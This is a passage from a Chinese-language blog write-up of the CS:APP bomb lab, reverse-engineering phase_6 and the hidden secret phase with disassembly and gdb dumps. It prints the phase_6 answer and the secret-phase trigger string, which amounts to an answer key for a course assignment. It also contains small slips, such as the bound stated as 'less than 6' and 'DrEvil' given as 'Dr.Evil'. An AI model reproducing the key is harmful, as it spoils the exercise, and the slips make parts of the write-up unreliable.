  4011e7:	7d 05                	jge    4011ee &amp;#x3C;phase_6+0xfa&gt;
  4011e9:	e8 4c 02 00 00       	callq  40143a &amp;#x3C;explode_bomb&gt;
  4011ee:	48 8b 5b 08          	mov    0x8(%rbx),%rbx
  4011f2:	83 ed 01             	sub    $0x1,%ebp
  4011f5:	75 e8                	jne    4011df &amp;#x3C;phase_6+0xeb&gt;
  4011f7:	48 83 c4 50          	add    $0x50,%rsp
  4011fb:	5b                   	pop    %rbx
  4011fc:	5d                   	pop    %rbp
  4011fd:	41 5c                	pop    %r12
  4011ff:	41 5d                	pop    %r13
  401201:	41 5e                	pop    %r14
  401203:	c3                   	retq   
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;尝试分段分析，一口气读完这么长的汇编显然不现实。&lt;/p&gt;
&lt;p&gt;首先将 [read_six_numbers] 函数到跳转前的准备工作截取出来，我们输入（1，2，3，4，5，6）来作为测试:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-assembly&quot;&gt;  4010f4:	41 56                	push   %r14
  4010f6:	41 55                	push   %r13
  4010f8:	41 54                	push   %r12
  4010fa:	55                   	push   %rbp
  4010fb:	53                   	push   %rbx
  4010fc:	48 83 ec 50          	sub    $0x50,%rsp
  401100:	49 89 e5             	mov    %rsp,%r13
  401103:	48 89 e6             	mov    %rsp,%rsi
  401106:	e8 51 03 00 00       	callq  40145c &amp;#x3C;read_six_numbers&gt;
  40110b:	49 89 e6             	mov    %rsp,%r14
  40110e:	41 bc 00 00 00 00    	mov    $0x0,%r12d
  401114:	4c 89 ed             	mov    %r13,%rbp
  401117:	41 8b 45 00          	mov    0x0(%r13),%eax
  40111b:	83 e8 01             	sub    $0x1,%eax
  40111e:	83 f8 05             	cmp    $0x5,%eax
  401121:	76 05                	jbe    401128 &amp;#x3C;phase_6+0x34&gt;
  401123:	e8 12 03 00 00       	callq  40143a &amp;#x3C;explode_bomb&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;注意到在调用完 [read_sixe_numbers] 后，rsp 中存储了我们输入的值：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-assembly&quot;&gt;(gdb) x/6wd $rsp
0x7fffffffe320: 1       2       3       4
0x7fffffffe330: 5       6
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;于是我们开始尝试下面的跳转语句，看看它到底是在干什么。&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-assembly&quot;&gt;  40110b:	49 89 e6             	mov    %rsp,%r14
  40110e:	41 bc 00 00 00 00    	mov    $0x0,%r12d
  401114:	4c 89 ed             	mov    %r13,%rbp
  401117:	41 8b 45 00          	mov    0x0(%r13),%eax
  40111b:	83 e8 01             	sub    $0x1,%eax
  40111e:	83 f8 05             	cmp    $0x5,%eax
  401121:	76 05                	jbe    401128 &amp;#x3C;phase_6+0x34&gt;
  401123:	e8 12 03 00 00       	callq  40143a &amp;#x3C;explode_bomb&gt;
  401128:	41 83 c4 01          	add    $0x1,%r12d 
  40112c:	41 83 fc 06          	cmp    $0x6,%r12d
  401130:	74 21                	je     401153 &amp;#x3C;phase_6+0x5f&gt;
  401132:	44 89 e3             	mov    %r12d,%ebx #ebx等同于for中的i
  401135:	48 63 c3             	movslq %ebx,%rax
  401138:	8b 04 84             	mov    (%rsp,%rax,4),%eax
  40113b:	39 45 00             	cmp    %eax,0x0(%rbp)
  40113e:	75 05                	jne    401145 &amp;#x3C;phase_6+0x51&gt;
  401140:	e8 f5 02 00 00       	callq  40143a &amp;#x3C;explode_bomb&gt;
  401145:	83 c3 01             	add    $0x1,%ebx
  401148:	83 fb 05             	cmp    $0x5,%ebx
  40114b:	7e e8                	jle    401135 &amp;#x3C;phase_6+0x41&gt;#小于等于跳转
  40114d:	49 83 c5 04          	add    $0x4,%r13  #将r13地址增加 4，对应int值的长度,又跳转回第 4 行，相当于移一位，
  401151:	eb c1                	jmp    401114 &amp;#x3C;phase_6+0x20&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;在4行 [mov] 结束后，[r13] 中存储了我们输入的 (1,2,3,4,5,6) 的连续地址，这得益于之前的赋值，[r13] 将当前位置传递给 [eax]。**然后是一个sub 操作，比较 [eax]与 5 的大小，如果不是小于等于5则炸弹爆炸。说明我们输入的6个数字均需小于等于6。**判断后跳转到 401128，将 [r12] 中的值+1，由于一开始我们将 [r12] 赋了0，合理怀疑这里起循环中计数的作用，下面的 [cmp] 则显示出循环会进行6次。这层循环如果结束会跳转到 401153。&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-assembly&quot;&gt;401153:	48 8d 74 24 18       	lea    0x18(%rsp),%rsi
#可以判断这里存储在rsi中的值是0，因为0x18恰好24字节，前面的24恰好存储输入的序列
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这我们一时间还摸不着头脑，所以我们先走完这遍循环再来看这一段的含义。在 [je] 判断后，将 [r12d] 赋值给 [ebx]，[ebx] 又转赠给 [rax]，所以当前的 [rax] 就等于我们常在 for 循环中见到的 i，接下来的 mov 就相当于将我们当前数组中的下一位赋值给了[eax]，**因为一开始 [r13] 将地址赋给了 [rbp] 所以 [rbp] 在循环中指向对应索引的数。**下一个 [cmp] 则是与当前的 [eax] 比较，这条语句相当于在告诉我们相邻的两个数不能相等，如果相等则会爆炸。&lt;/p&gt;
&lt;p&gt;接下来是对 [ebx] 的操作，在刚才 [r12d] 赋值给了它，它现在依旧是起一个 i 的作用，这里依旧是循环6次，所以13-20行是一个循环，而3-22也是一个循环。这两个循环构成了二重循环。&lt;/p&gt;
&lt;p&gt;让我们来试试解释下它们的行为，先从内循环13-20行开始：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-assembly&quot;&gt;  401135:	48 63 c3             	movslq %ebx,%rax
  401138:	8b 04 84             	mov    (%rsp,%rax,4),%eax
  40113b:	39 45 00             	cmp    %eax,0x0(%rbp)
  40113e:	75 05                	jne    401145 &amp;#x3C;phase_6+0x51&gt;
  401140:	e8 f5 02 00 00       	callq  40143a &amp;#x3C;explode_bomb&gt;
  401145:	83 c3 01             	add    $0x1,%ebx
  401148:	83 fb 05             	cmp    $0x5,%ebx
  40114b:	7e e8                	jle    401135 &amp;#x3C;phase_6+0x41&gt;#小于等于跳转
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;正如我们上述所言，在单纯一个循环中实现了一个比较相邻位不等的作用。而对于整个循环中，由于 [rbp]  在该循环是不发生改变的。所以我们在第二行，遍历了整个数组，&lt;strong&gt;所以内循环实现的功能是检验输入序列是否存在重复。&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;接下来看外循环:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-assembly&quot;&gt;  401114:	4c 89 ed             	mov    %r13,%rbp
  401117:	41 8b 45 00          	mov    0x0(%r13),%eax
  40111b:	83 e8 01             	sub    $0x1,%eax
  40111e:	83 f8 05             	cmp    $0x5,%eax
  401121:	76 05                	jbe    401128 &amp;#x3C;phase_6+0x34&gt;
  401123:	e8 12 03 00 00       	callq  40143a &amp;#x3C;explode_bomb&gt;
  401128:	41 83 c4 01          	add    $0x1,%r12d 
  40112c:	41 83 fc 06          	cmp    $0x6,%r12d
  401130:	74 21                	je     401153 &amp;#x3C;phase_6+0x5f&gt;
  401132:	44 89 e3             	mov    %r12d,%ebx #ebx等同于for中的i
  401135:	48 63 c3             	movslq %ebx,%rax
  401138:	8b 04 84             	mov    (%rsp,%rax,4),%eax
  40113b:	39 45 00             	cmp    %eax,0x0(%rbp)
  40113e:	75 05                	jne    401145 &amp;#x3C;phase_6+0x51&gt;
  401140:	e8 f5 02 00 00       	callq  40143a &amp;#x3C;explode_bomb&gt;
  401145:	83 c3 01             	add    $0x1,%ebx
  401148:	83 fb 05             	cmp    $0x5,%ebx
  40114b:	7e e8                	jle    401135 &amp;#x3C;phase_6+0x41&gt;#小于等于跳转
  40114d:	49 83 c5 04          	add    $0x4,%r13  #将r13地址增加 4，对应int值的长度,又跳转回第 4 行，相当于移一位，
  401151:	eb c1                	jmp    401114 &amp;#x3C;phase_6+0x20&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;显然，我们的重点在前半部分，前半部分的 1~9 行，我们实现了比较序列中数时候小于6，在等于6过后我们就跳转到401153，离开了 这段二重循环。&lt;/p&gt;
&lt;p&gt;综上，我们解构出了这段二重循环的意义&lt;strong&gt;比较输入序列中是否存在重复的数，并且序列中的数是否都小于6&lt;/strong&gt;。&lt;/p&gt;
&lt;p&gt;接下来我们从 401153 开始看起。&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-assembly&quot;&gt;  401153:	48 8d 74 24 18       	lea    0x18(%rsp),%rsi #存储的是0
  401158:	4c 89 f0             	mov    %r14,%rax
  40115b:	b9 07 00 00 00       	mov    $0x7,%ecx #ecx中存储7
  401160:	89 ca                	mov    %ecx,%edx  #edx中存储7
  401162:	2b 10                	sub    (%rax),%edx
  401164:	89 10                	mov    %edx,(%rax)
  401166:	48 83 c0 04          	add    $0x4,%rax
  40116a:	48 39 f0             	cmp    %rsi,%rax
  40116d:	75 f1                	jne    401160 &amp;#x3C;phase_6+0x6c&gt;
  40116f:	be 00 00 00 00       	mov    $0x0,%esi
  401174:	eb 21                	jmp    401197 &amp;#x3C;phase_6+0xa3&gt;
  401176:	48 8b 52 08          	mov    0x8(%rdx),%rdx
  40117a:	83 c0 01             	add    $0x1,%eax
  40117d:	39 c8                	cmp    %ecx,%eax
  40117f:	75 f5                	jne    401176 &amp;#x3C;phase_6+0x82&gt;
  401181:	eb 05                	jmp    401188 &amp;#x3C;phase_6+0x94&gt;
  401183:	ba d0 32 60 00       	mov    $0x6032d0,%edx
  401188:	48 89 54 74 20       	mov    %rdx,0x20(%rsp,%rsi,2)
  40118d:	48 83 c6 04          	add    $0x4,%rsi
  401191:	48 83 fe 18          	cmp    $0x18,%rsi
  401195:	74 14                	je     4011ab &amp;#x3C;phase_6+0xb7&gt;
  401197:	8b 0c 34             	mov    (%rsp,%rsi,1),%ecx
  40119a:	83 f9 01             	cmp    $0x1,%ecx
  40119d:	7e e4                	jle    401183 &amp;#x3C;phase_6+0x8f&gt;
  40119f:	b8 01 00 00 00       	mov    $0x1,%eax
  4011a4:	ba d0 32 60 00       	mov    $0x6032d0,%edx
  4011a9:	eb cb                	jmp    401176 &amp;#x3C;phase_6+0x82&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;[rsi] 现在存储的是 0 了，而 [r14] 则继承了 [rsp] 的遗志，我们在最初时将 [rsp] 的值赋给了它，现在它又将其重新赋给了 [rax]。接下来又是一段循环，我们将其截取出来。&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-assembly&quot;&gt;  401160:	89 ca                	mov    %ecx,%edx  #edx中存储7
  401162:	2b 10                	sub    (%rax),%edx
  401164:	89 10                	mov    %edx,(%rax)
  401166:	48 83 c0 04          	add    $0x4,%rax
  40116a:	48 39 f0             	cmp    %rsi,%rax
  40116d:	75 f1                	jne    401160 &amp;#x3C;phase_6+0x6c&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;这里的大致意思很好懂，移动 [rax], 用 7 来减去 [rax] 中的值，直到序列中所有的数都减完，[rax] + 0x18 时 [rsi] 与 [rax] 就相等离开循环。所以我们输入的(1,2,3,4,5,6)在这里变成了(6,5,4,3,2,1)。&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;接着看下一段:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-assembly&quot;&gt;  40116f:	be 00 00 00 00       	mov    $0x0,%esi
  401174:	eb 21                	jmp    401197 &amp;#x3C;phase_6+0xa3&gt;
  401176:	48 8b 52 08          	mov    0x8(%rdx),%rdx
  40117a:	83 c0 01             	add    $0x1,%eax
  40117d:	39 c8                	cmp    %ecx,%eax
  40117f:	75 f5                	jne    401176 &amp;#x3C;phase_6+0x82&gt;
  401181:	eb 05                	jmp    401188 &amp;#x3C;phase_6+0x94&gt;
  401183:	ba d0 32 60 00       	mov    $0x6032d0,%edx
  401188:	48 89 54 74 20       	mov    %rdx,0x20(%rsp,%rsi,2)
  40118d:	48 83 c6 04          	add    $0x4,%rsi
  401191:	48 83 fe 18          	cmp    $0x18,%rsi
  401195:	74 14                	je     4011ab &amp;#x3C;phase_6+0xb7&gt;
  401197:	8b 0c 34             	mov    (%rsp,%rsi,1),%ecx
  40119a:	83 f9 01             	cmp    $0x1,%ecx
  40119d:	7e e4                	jle    401183 &amp;#x3C;phase_6+0x8f&gt;#小于等于跳转
  40119f:	b8 01 00 00 00       	mov    $0x1,%eax
  4011a4:	ba d0 32 60 00       	mov    $0x6032d0,%edx
  4011a9:	eb cb                	jmp    401176 &amp;#x3C;phase_6+0x82&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这里将 [esi] 赋值为 0 ,然后突如其来的一个跳转跳到了 401197。&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-assembly&quot;&gt;401197:	8b 0c 34             	mov    (%rsp,%rsi,1),%ecx
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;显然也是一个遍历的过程。比较当前值与1的大小。按照当前输入下，[rsp] 指向的第一个数是6，我们按照逻辑模拟运行下去，跳转到 0x401183。&lt;/p&gt;
&lt;p&gt;发现跳转过来就将一个奇怪的地址赋值给了 [edx]，查看一下：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-assembly&quot;&gt;(gdb) x/6wd 0x6032d0
0x6032d0 &amp;#x3C;node1&gt;:       332     1       6304480 0
0x6032e0 &amp;#x3C;node2&gt;:       168     2
#范围放大一点
(gdb) x/24wd 0x6032d0
0x6032d0 &amp;#x3C;node1&gt;:       332     1       6304480 0
0x6032e0 &amp;#x3C;node2&gt;:       168     2       6304496 0
0x6032f0 &amp;#x3C;node3&gt;:       924     3       6304512 0
0x603300 &amp;#x3C;node4&gt;:       691     4       6304528 0
0x603310 &amp;#x3C;node5&gt;:       477     5       6304544 0
0x603320 &amp;#x3C;node6&gt;:       443     6       0       0
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;node 的提示词更像是我们在操作一个链表。并且这个链表有6个节点，每个节点占16个字节。看来接下来我们是要对这个链表进行操作。&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;来看跳转到 401197 后对节点操作的这段循环：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-assembly&quot;&gt;  401176:	48 8b 52 08          	mov    0x8(%rdx),%rdx
  40117a:	83 c0 01             	add    $0x1,%eax
  40117d:	39 c8                	cmp    %ecx,%eax
  40117f:	75 f5                	jne    401176 &amp;#x3C;phase_6+0x82&gt;#关键节点
  401181:	eb 05                	jmp    401188 &amp;#x3C;phase_6+0x94&gt;
  401183:	ba d0 32 60 00       	mov    $0x6032d0,%edx
  401188:	48 89 54 74 20       	mov    %rdx,0x20(%rsp,%rsi,2) #32个字节
  40118d:	48 83 c6 04          	add    $0x4,%rsi
  401191:	48 83 fe 18          	cmp    $0x18,%rsi
  401195:	74 14                	je     4011ab &amp;#x3C;phase_6+0xb7&gt;
  401197:	8b 0c 34             	mov    (%rsp,%rsi,1),%ecx
  40119a:	83 f9 01             	cmp    $0x1,%ecx
  40119d:	7e e4                	jle    401183 &amp;#x3C;phase_6+0x8f&gt;#小于等于跳转
  40119f:	b8 01 00 00 00       	mov    $0x1,%eax
  4011a4:	ba d0 32 60 00       	mov    $0x6032d0,%edx
  4011a9:	eb cb                	jmp    401176 &amp;#x3C;phase_6+0x82&gt;#关键节点
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;将 [rsp] 当前指向的6赋值给 [ecx] 从14行开始尝试跟随循环逻辑，在第一个字符为6的情况下，我们执行不了13行的跳转指令，而是将 [eax] 赋为1，再将 node1 的值赋给 [edx]。然后跳转回 401176 节点。&lt;/p&gt;
&lt;p&gt;在401176~40117f之间又是一个小的循环，[rdx] 的地址不断+8，直到与当前的 [ecx] 即 6 相等为止。根据输入的 &lt;strong&gt;转换值&lt;/strong&gt;（1-6），取出相应的 &lt;strong&gt;链表节点指针&lt;/strong&gt; 存入栈中。&lt;/p&gt;
&lt;p&gt;而后的下一段：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-assembly&quot;&gt;4011ab: 48 8b 5c 24 20        mov    0x20(%rsp),%rbx
4011b0: 48 8d 44 24 28        lea    0x28(%rsp),%rax
4011b5: 48 8d 74 24 50        lea    0x50(%rsp),%rsi
4011ba: 48 89 d9              mov    %rbx,%rcx
4011bd: 48 8b 10              mov    (%rax),%rdx
4011c0: 48 89 51 08           mov    %rdx,0x8(%rcx)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;则是将我们之前操作的链表按照我们的输入顺序进行排列。&lt;/p&gt;
&lt;p&gt;而经过这一段后再下面的一段则是我们判断的核心逻辑：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-assembly&quot;&gt;4011df: 48 8b 43 08           mov    0x8(%rbx),%rax
4011e3: 8b 00                	mov    (%rax),%eax
4011e5: 39 03                	cmp    %eax,(%rbx)
4011e7: 7d 05                	jge    4011ee &amp;#x3C;phase_6+0xfa&gt;
4011e9: e8 4c 02 00 00        callq  40143a &amp;#x3C;explode_bomb&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这里判断输出的链表是否单调递减，而根据上面我们看到的 node：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-assembly&quot;&gt;0x6032d0 &amp;#x3C;node1&gt;:       332     1       6304480 0
0x6032e0 &amp;#x3C;node2&gt;:       168     2       6304496 0
0x6032f0 &amp;#x3C;node3&gt;:       924     3       6304512 0
0x603300 &amp;#x3C;node4&gt;:       691     4       6304528 0
0x603310 &amp;#x3C;node5&gt;:       477     5       6304544 0
0x603320 &amp;#x3C;node6&gt;:       443     6       0       0
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;可以得出顺序应为 3 -&gt; 4 -&gt; 5 -&gt; 6 -&gt; 1 -&gt; 2，但由于我们最开始的循环中将其用7减去了一次，所以我们需要还原回去。&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;所以答案为：&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;4 3 2 1 6 5
Congratulations! You&apos;ve defused the bomb!
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;至此，我们终于完成Dr.Evil博士明面上给定的任务。&lt;/p&gt;
&lt;h4&gt;ida：&lt;/h4&gt;
&lt;p&gt;ida 中的内容也很复杂，就是从一个循环到另一个循环，没有什么参考意义，对于 phase_6，最重要的是学会分段分解来分析。这样才能将复杂的汇编剖析成寻常熟悉的语句。&lt;/p&gt;
&lt;h1&gt;彩蛋：&lt;/h1&gt;
&lt;h4&gt;1、试图用 ctrl + c 退出的 cry:&lt;/h4&gt;
&lt;p&gt;&lt;img src=&quot;https://pub-11a3e27e8dec4fa7bab83c25fdffb297.r2.dev/bomblab1.png&quot; alt=&quot;well,yes:( &quot;&gt;&lt;/p&gt;
&lt;p&gt;在做的过程中发现这段字符串存储的地址和 phase5 的存储的字符串相邻。&lt;/p&gt;
&lt;h4&gt;2、secret_phase()：&lt;/h4&gt;
&lt;p&gt;Dr Evil 博士在最后的哈哈哈哈引起了我们的注意，说明他必然有所隐瞒，让我们来寻找下他的小秘密。&lt;/p&gt;
&lt;h5&gt;进入方法：&lt;/h5&gt;
&lt;p&gt;这里我实在懒得费尽心思去找哪里可能存在的判断逻辑。于是检索了 secret_phase 关键字，发现除了在本身存在的函数段外，只有 phase_defused() 函数调用了 secret_phase。&lt;/p&gt;
&lt;p&gt;对于对应段：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-assembly&quot;&gt;00000000004015c4 &amp;#x3C;phase_defused&gt;:
  4015c4:	48 83 ec 78          	sub    $0x78,%rsp
  4015c8:	64 48 8b 04 25 28 00 	mov    %fs:0x28,%rax
  4015cf:	00 00 
  4015d1:	48 89 44 24 68       	mov    %rax,0x68(%rsp)
  4015d6:	31 c0                	xor    %eax,%eax
  4015d8:	83 3d 81 21 20 00 06 	cmpl   $0x6,0x202181(%rip)        # 603760 &amp;#x3C;num_input_strings&gt;
  4015df:	75 5e                	jne    40163f &amp;#x3C;phase_defused+0x7b&gt;
  4015e1:	4c 8d 44 24 10       	lea    0x10(%rsp),%r8
  4015e6:	48 8d 4c 24 0c       	lea    0xc(%rsp),%rcx
  4015eb:	48 8d 54 24 08       	lea    0x8(%rsp),%rdx
  4015f0:	be 19 26 40 00       	mov    $0x402619,%esi
  4015f5:	bf 70 38 60 00       	mov    $0x603870,%edi
  4015fa:	e8 f1 f5 ff ff       	callq  400bf0 &amp;#x3C;__isoc99_sscanf@plt&gt;
  4015ff:	83 f8 03             	cmp    $0x3,%eax
  401602:	75 31                	jne    401635 &amp;#x3C;phase_defused+0x71&gt;
  401604:	be 22 26 40 00       	mov    $0x402622,%esi
  401609:	48 8d 7c 24 10       	lea    0x10(%rsp),%rdi
  40160e:	e8 25 fd ff ff       	callq  401338 &amp;#x3C;strings_not_equal&gt;
  401613:	85 c0                	test   %eax,%eax
  401615:	75 1e                	jne    401635 &amp;#x3C;phase_defused+0x71&gt;
  401617:	bf f8 24 40 00       	mov    $0x4024f8,%edi
  40161c:	e8 ef f4 ff ff       	callq  400b10 &amp;#x3C;puts@plt&gt;
  401621:	bf 20 25 40 00       	mov    $0x402520,%edi
  401626:	e8 e5 f4 ff ff       	callq  400b10 &amp;#x3C;puts@plt&gt;
  40162b:	b8 00 00 00 00       	mov    $0x0,%eax
  401630:	e8 0d fc ff ff       	callq  401242 &amp;#x3C;secret_phase&gt;
  401635:	bf 58 25 40 00       	mov    $0x402558,%edi
  40163a:	e8 d1 f4 ff ff       	callq  400b10 &amp;#x3C;puts@plt&gt;
  40163f:	48 8b 44 24 68       	mov    0x68(%rsp),%rax
  401644:	64 48 33 04 25 28 00 	xor    %fs:0x28,%rax
  40164b:	00 00 
  40164d:	74 05                	je     401654 &amp;#x3C;phase_defused+0x90&gt;
  40164f:	e8 dc f4 ff ff       	callq  400b30 &amp;#x3C;__stack_chk_fail@plt&gt;
  401654:	48 83 c4 78          	add    $0x78,%rsp
  401658:	c3                   	retq   
  401659:	90                   	nop
  40165a:	90                   	nop
  40165b:	90                   	nop
  40165c:	90                   	nop
  40165d:	90                   	nop
  40165e:	90                   	nop
  40165f:	90                   	nop
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;我们发现它在14、15行间做了一个 [cmp] 对于 [sscanf] 函数的返回值如果不为3则直接跳转到最后，而如果为3才会进入后面的 [strings_not_equal] 的比较。&lt;/p&gt;
&lt;p&gt;分别查看位于 12 和 17 行的地址中存储的内容，发现：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-assembly&quot;&gt;(gdb) x/s 0x402619
0x402619:       &quot;%d %d %s&quot;

(gdb) x/s 0x402622
0x402622:       &quot;DrEvil&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;所以我们需要在对应 [sscanf] 函数中的第三个参数值输入 &apos;Dr.Evil&apos; 这个值。才能进入 [secret_phase]，放在 ida 中则是这样。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://pub-11a3e27e8dec4fa7bab83c25fdffb297.r2.dev/bomblab8.png&quot; alt=&quot;入口&quot;&gt;&lt;/p&gt;
&lt;p&gt;切换到 secret_phase():&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-assembly&quot;&gt;0000000000401242 &amp;#x3C;secret_phase&gt;:
  401242:	53                   	push   %rbx
  401243:	e8 56 02 00 00       	callq  40149e &amp;#x3C;read_line&gt;
  401248:	ba 0a 00 00 00       	mov    $0xa,%edx
  40124d:	be 00 00 00 00       	mov    $0x0,%esi
  401252:	48 89 c7             	mov    %rax,%rdi
  401255:	e8 76 f9 ff ff       	callq  400bd0 &amp;#x3C;strtol@plt&gt;
  40125a:	48 89 c3             	mov    %rax,%rbx
  40125d:	8d 40 ff             	lea    -0x1(%rax),%eax
  401260:	3d e8 03 00 00       	cmp    $0x3e8,%eax
  401265:	76 05                	jbe    40126c &amp;#x3C;secret_phase+0x2a&gt;#小等于
  401267:	e8 ce 01 00 00       	callq  40143a &amp;#x3C;explode_bomb&gt;
  40126c:	89 de                	mov    %ebx,%esi
  40126e:	bf f0 30 60 00       	mov    $0x6030f0,%edi
  401273:	e8 8c ff ff ff       	callq  401204 &amp;#x3C;fun7&gt;
  401278:	83 f8 02             	cmp    $0x2,%eax
  40127b:	74 05                	je     401282 &amp;#x3C;secret_phase+0x40&gt;
  40127d:	e8 b8 01 00 00       	callq  40143a &amp;#x3C;explode_bomb&gt;
  401282:	bf 38 24 40 00       	mov    $0x402438,%edi
  401287:	e8 84 f8 ff ff       	callq  400b10 &amp;#x3C;puts@plt&gt;
  40128c:	e8 33 03 00 00       	callq  4015c4 &amp;#x3C;phase_defused&gt;
  401291:	5b                   	pop    %rbx
  401292:	c3                   	retq   
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;让我们逐行分析 read_line 函数是因为 secret_phase没有在main中所以需要主动调用。然后就是将 [edx] 和 [esi] 分别赋值为 10 和 0，[rax] 赋值给 [rdi]。&lt;/p&gt;
&lt;p&gt;注意到这里调用 strtol 函数，经过查询我们可以知道它对应参数的意义。&lt;/p&gt;
&lt;hr&gt;
&lt;ul&gt;
&lt;li&gt;C 库函数 &lt;strong&gt;long int strtol(const char *str, char **endptr, int base)&lt;/strong&gt; 把参数 &lt;strong&gt;str&lt;/strong&gt; 所指向的字符串根据给定的 &lt;strong&gt;base&lt;/strong&gt; 转换为一个长整数（类型为 long int 型），base 必须介于 2 和 36（包含）之间，或者是特殊值 0。*&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;p&gt;随便输入一个字符串&quot;123&quot;，发现存储在 [rax] 中，[rax] 将其赋值给 [rdi] ，执行完 strtol 函数后，重新查看，依旧存储在 [rax] 中，不过转换成了地址方式存储。第10行执行的 [cmp] 限制了我们输入的字符串转成的数要在 1000 以内。否则引爆炸弹，接下来将 [ebx] 中的值存到 [esi] 中，查看 [ebx] 可发现存储了我们输入的值。&lt;/p&gt;
&lt;p&gt;接下来一个奇怪的内存地址移到了 [edi] 中。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;0x6030f0 &amp;#x3C;n1&gt;:  36      0       6304016 0
0x603100 &amp;#x3C;n1+16&gt;:       6304048 0       0       0
0x603110 &amp;#x3C;n21&gt;: 8       0       6304144 0
0x603120 &amp;#x3C;n21+16&gt;:      6304080 0       0       0
0x603130 &amp;#x3C;n22&gt;: 50      0       6304112 0
0x603140 &amp;#x3C;n22+16&gt;:      6304176 0       0       0
0x603150 &amp;#x3C;n32&gt;: 22      0       6304368 0
0x603160 &amp;#x3C;n32+16&gt;:      6304304 0       0       0
0x6031f0 &amp;#x3C;n41&gt;: 1       0       0       0
0x603200 &amp;#x3C;n41+16&gt;:      0       0       0       0
0x603210 &amp;#x3C;n47&gt;: 99      0       0       0
0x603220 &amp;#x3C;n47+16&gt;:      0       0       0       0
0x603230 &amp;#x3C;n44&gt;: 35      0       0       0
0x603240 &amp;#x3C;n44+16&gt;:      0       0       0       0
0x603250 &amp;#x3C;n42&gt;: 7       0       0       0
0x603260 &amp;#x3C;n42+16&gt;:      0       0       0       0
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;查看后发现是一堆奇怪的节点，看起来像是树一类的指向，我们可以大概构建出这棵树：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;        36 (n1)
       /    \
     8 (n21) 50 (n22)
    /  \    /   \
  1(n41) 22(n32) 99(n47)
       \       /
       7(n42) 35(n44)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;再查看下一行的 func7：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-assembly&quot;&gt;0000000000401204 &amp;#x3C;fun7&gt;:
  401204:	48 83 ec 08          	sub    $0x8,%rsp
  401208:	48 85 ff             	test   %rdi,%rdi
  40120b:	74 2b                	je     401238 &amp;#x3C;fun7+0x34&gt;
  40120d:	8b 17                	mov    (%rdi),%edx
  40120f:	39 f2                	cmp    %esi,%edx
  401211:	7e 0d                	jle    401220 &amp;#x3C;fun7+0x1c&gt;
  401213:	48 8b 7f 08          	mov    0x8(%rdi),%rdi
  401217:	e8 e8 ff ff ff       	callq  401204 &amp;#x3C;fun7&gt;
  40121c:	01 c0                	add    %eax,%eax
  40121e:	eb 1d                	jmp    40123d &amp;#x3C;fun7+0x39&gt;
  401220:	b8 00 00 00 00       	mov    $0x0,%eax
  401225:	39 f2                	cmp    %esi,%edx
  401227:	74 14                	je     40123d &amp;#x3C;fun7+0x39&gt;
  401229:	48 8b 7f 10          	mov    0x10(%rdi),%rdi
  40122d:	e8 d2 ff ff ff       	callq  401204 &amp;#x3C;fun7&gt;
  401232:	8d 44 00 01          	lea    0x1(%rax,%rax,1),%eax
  401236:	eb 05                	jmp    40123d &amp;#x3C;fun7+0x39&gt;
  401238:	b8 ff ff ff ff       	mov    $0xffffffff,%eax
  40123d:	48 83 c4 08          	add    $0x8,%rsp
  401241:	c3                   	retq   
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;经过 ida 分析得到(实则懒得继续汇编了，下次有空再看），fun7 函数实际上是一个**二叉搜索树（BST）**的查找函数，它按照如下方式递归查找目标值：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;当前节点值大于目标值&lt;/strong&gt; → 递归进入左子树 (a1 + 8)，返回值乘 2。&lt;/li&gt;
